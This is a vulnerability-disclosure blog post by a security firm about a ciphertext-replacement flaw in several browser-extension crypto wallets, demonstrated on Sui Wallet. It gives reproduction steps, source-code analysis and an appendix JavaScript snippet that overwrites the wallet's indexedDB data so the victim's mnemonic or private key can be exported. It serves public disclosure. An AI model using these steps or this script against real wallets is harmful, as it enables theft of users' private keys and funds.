Multiple wallets can leak the users Private key

user-image
EXVUL

EXVUL is a leading cyber security company that provides top-tier security services and consumer- oriented security products. Our security experts come from prestigious backgrounds, including Huawei, Qihoo 360, and top Web3 security firms. We boast an academic team consisting of cybersecurity PhDs with extensive expertise in cyber security, as well as traditional cyber security skills. Our strengths lie in vulnerability discovery , on-chain threat monitoring, prevention, and cutting-edge research in cyber security technologies, including AI security, automated vulnerability discovery, and AI for cyber Security. Our team members have been at the forefront of discovering numerous vulnerabilities in projects such as the Move language, Tron, EOS, Sui, Ripple etc. We have also identified vulnerabilities in the Windows kernel, Chrome browser, iOS/MacOS, and received numerous CVE acknowledgments. Additionally, we hold over 10 security-related patents. Our company offers comprehensive cyber security services, including code auditing, L1/L2 protocol audits, ZKP cryptography code audits, wallet security audits, exchange security services, threat intelligence, and more.

Jan 10, 2024

Written by Nolan Wang, EXVUL

Multiple wallets can leak the users Private key

 

Abstract

Many chrome extension wallets use indexedDB to store encryption key data, but there exists a cipher text replacement attack. The attacker can replace the victim’s wallet cipher text, then decrypt the victim’s wallet and steal the user’s private key or mnemonic phrase. There are many existing wallets that contain this vulnerability, which includes coinbase, crypto.com, sui wallet, myetherwallet etc( sorry I know because I have tested these wallets).

I have reported this vulnerability to all of them, but they did not think that it is a vulnerability because the attacker will need physical access to the wallet. Thus, they will not fix it and such a bug still exists presently.

Despite their beliefs, I still feel that this is a security vulnerability that will pose a potential security threat to user assets. I am now posting the details of the bug, so that the vendor will pay attention to this very issue, and take the security of user assets seriously.

In the video below, I will demonstrate the details of the bug.

pls see the attack video demo:

Reproduction:

  1. the attacker generate a SUI wallet account (Wallet A), remember the wallet password
  2. the attacker dump Wallet A’s indexedDB data with the key: SuiWallet DB=>accountSources the data will look like this below:
     {
"key": "fe62e6a9-67df-48f3-be6f-ca07cc15cb6f",
"value": {
"id": "fe62e6a9-67df-48f3-be6f-ca07cc15cb6f",
"type": "mnemonic",
"encryptedData": "{\"data\":\"NscdxKs4flt5BjG5rojJNfyyqgUOseQWqwm1gqCVFgWAVzvz4GOl5RaFPUGOKKnSzG7tgkj4i4Jwy/zRP0XQsWdfKByUfXxfamD6IvygGjduHzRoH5XkA6XbMk5Vbe5YTixI9GWjSB4uHn0JfvH6ubOQGaT/Vh70DOr0zwEYcIfp/KLEMBoO5NvkjFbDSFA1ZWOkET8zicv6CpmiVmOLpgTh8s909oa+qFYAGHoEP8dNSZfdbInJ/UlG3jnM2qisVtAL5xWc476Z75GdelsuiOIquXZLog==\",\"iv\":\"xfm3nikK1EmF5kunBM7YqQ==\",\"salt\":\"nmQsmyqYcDDEJRDyqqtTz4gpUEgj9B6xUGykbiv8sXA=\"}",
"sourceHash": "591462223e7a4debc641d19c32094b509060b40e6d147c1ff4745cd13b15542d",
"createdAt": 1702355069267
}
}

3.now, when the victim’s Sui wallet (Wallet B) is unlocked, the attacker will export each passphrase or private key one time, and replace Wallet B Wallet B’s accountSources data of indexedDB with Wallet A’s accountSources data. NOTE: only the victim’s encryptedData & sourceHash is replaced with the attacker’s encryptedData & sourceHash data. If you replace the other key and value, you will not be able to reproduce the vulnerability.

4. click Verify below, and then input Wallet A’s password ,

5.Congrats. if there is no anything wrong, it will decrypt the victim’s private key or passphrase.

vulnerability code analysis

Sui wallet source code:

https://github.com/MystenLabs/sui/tree/cae95c6bb9ef163e99a8f6f95d7e5bacc85aded6/apps/wallet

1.this function is used for export passphrase,


export function useExportPassphraseMutation() {
const backgroundClient = useBackgroundClient();
return useMutation({
mutationKey: ['export passphrase'],
mutationFn: async (args: MethodPayload<'getAccountSourceEntropy'>['args']) =>
entropyToMnemonic(
toEntropy((await backgroundClient.getAccountSourceEntropy(args)).entropy),
).split(' '),
});
}

And then we can see entropy is converted to mnemonic using the english wordlist.

/**
* Converts entropy (byte array) to mnemonic using the english wordlist.
*
* @param entropy Uint8Array
*
* @return the mnemonic as string
*/
export function entropyToMnemonic(entropy: Uint8Array): string {
return bip39.entropyToMnemonic(entropy, wordlist);
}

2.so how to get entropy?

Here the sui wallet use the function getEntropy to get the entropy:

async getEntropy(password?: string) {
let data = await this.getEphemeralValue();
if (password && !data) {
data = await this.#decryptStoredData(password);
}
if (!data) {
throw new Error(`Mnemonic account source ${this.id} is locked`);
}
return data.entropyHex;
}

From the code above, we know there are two situations:

  • use getEphemeralValue function (an asynchronous function) that retrieves entropy from the session storage.
  • If no entropy data exist will try to decrypt the indexedDB data use decryptStoredData and get the entropy.

So in here, we can replace the indexedDB data, and the session data will still exist, Therefore, the situation 1 is satisfied and the wallet will directly get entropy data from the session. And because the session has not changed , which means the victim’s entropy data is still present, the wallet can directly extract the victim’s wallet passphrase.

Attack conditions:

  1. Vitcitm’s wallet is unlocked and has been export the private key or passphrase more than one time

Why did I choose to make this vulnerability public?

As mentioned before, I reported the vulnerability to these vendors two months ago, but they have not fixed it yet. I also told them that I would make it public, but they did not reply to me, so in order to force the vendors to fix it as soon as possible and to make people in the community aware of the security risks that their wallets may face, and to prevent other hackers from exploiting this vulnerability and stealing user assets, I think I should disclose this vulnerability.

Disclosure of 0day vulnerabilities is nothing new in the traditional network security field.

The wallets (to the best of my understanding) that contains this vulnerability:

0.Sui Wallet extension

1.Coinbase Wallet extension

2.Crypto.com wallet extension

3.MyEtherWallet extension

will be affected. I know there could be other wallets that may also contain this vulnerability, but I don’t have sufficient time and bandwidth to check everyone. If you find any affected wallets, please don’t hesitate to tell me so that I can update this article. If the manufacturer wants to know how to fix it, you can also send me an email: nolan@exvul.com

Conclusion

In here I only use Sui Wallet as a demo. Other wallets that I mentioned above, can also reproduce the same vulnerability. So I will not analyze them in here. You can try it for yourself and observe the vulnerability (the ease by which the user’s private keys can be stolen). So I think the vendor should this issue seriously as it concerns the user’s digiral assets, and fix this issue as quickly as possible.

appendix

the javascript code, replace the accountSource data:

use this code and v8 vulnerability can make remote exploit.


var request = indexedDB.open("SuiWallet DB", 20);

request.onerror = function(event) {
console.log("Error opening database");
};

request.onsuccess = function(event) {
var db = event.target.result;
//console.log(db)


// // Create a transaction
var transaction = db.transaction(["accountSources"],'readwrite');

transaction.onerror = function(event) {
console.log("Error starting transaction");
};

// Access the object store
var objectStore = transaction.objectStore("accountSources");
// "37f9c921-4542-4167-96c3-aab364a8350b"


console.log(objectStore)
//var index=objectStore.index('type')

var updateRequest = objectStore.put({
"id": "37f9c921-4542-4167-96c3-aab364a8350b",
"type": "mnemonic",
"encryptedData": "{\"data\":\"ZjT6isSqQUBG1S3s7kBQq6nDSS9KfaEfe4K2LUgelVesibEFu8od/u5X7n6nZQE0/EaX3JYAj8y5uufwG1p6Nx7PiJWDnxVZbZaiumj7FnWWJJE9BxQvKQ7vXOuKDgdIXvEuXk6ElFC5yGJ4PbHO9NlPMURh6R6QGXA4jleH9sePKa0WRJE8BdrsR7T9+o0hOtRrONphwYDMHtzSgqvuVGRY2XWhAYZEEDk8XF5SN6bAHhIML1RHFBptOJ2ibutS+v2jykNbCogMTGPil+qTx3LD07WYcA==\",\"iv\":\"eNXMiP0JXe1HC9IE/74oDw==\",\"salt\":\"d7w9KYw4TdnnXSN10nV2ZNgyAnPZZa3dBrb9BgrtWWY=\"}",
"sourceHash": "deb7ac7e60afed5b064028ce232138e654f5ccad3356f771eac86bacffcba7e8",
"createdAt": 1378274583

});

updateRequest.onsuccess = function(event) {
console.log("Data updated successfully");
};

updateRequest.onerror = function(event) {
console.log("Error updating data");
};


transaction.oncomplete = function(event) {
// Close the transaction and the database
db.close();
};
};

Original Link

주의사항
본 글에 기재된 내용들은 작성자 본인의 의견을 정확하게 반영하고 있으며 외부의 부당한 압력이나 간섭 없이 작성되었음을 확인합니다. 작성된 내용은 작성자 본인의 견해이며, (주)크로스앵글의 공식 입장이나 의견을 대변하지 않습니다. 본 글은 정보 제공을 목적으로 배포되는 자료입니다. 본 글은 투자 자문이나 투자권유에 해당하지 않습니다. 별도로 명시되지 않은 경우, 투자 및 투자전략, 또는 기타 상품이나 서비스 사용에 대한 결정 및 책임은 사용자에게 있으며 투자 목적, 개인적 상황, 재정적 상황을 고려하여 투자 결정은 사용자 본인이 직접 해야 합니다. 보다 자세한 내용은 금융관련 전문가를 통해 확인하십시오. 과거 수익률이나 전망이 반드시 미래의 수익률을 보장하지 않습니다. 본 글은 제휴 파트너에 의해 제공된 것으로, (주)크로스앵글은 본 글에 대한 편집 통제권을 가지지 않고 본 글에 포함된 정보의 정확성 및 적시성에 대해 보증하지 않습니다. 본 글에는 제3자 웹사이트에 대한 링크가 포함될 수 있으나 (주)크로스앵글은 제3자 웹사이트에 대해 통제하거나 책임을 부담하지 않습니다.
본 제작 자료 및 콘텐츠에 대한 저작권은 자사 또는 제휴 파트너에게 있으며, 저작권에 위배되는 편집이나 무단 복제 및 무단 전재, 재배포 시 사전 경고 없이 형사고발 조치됨을 알려드립니다.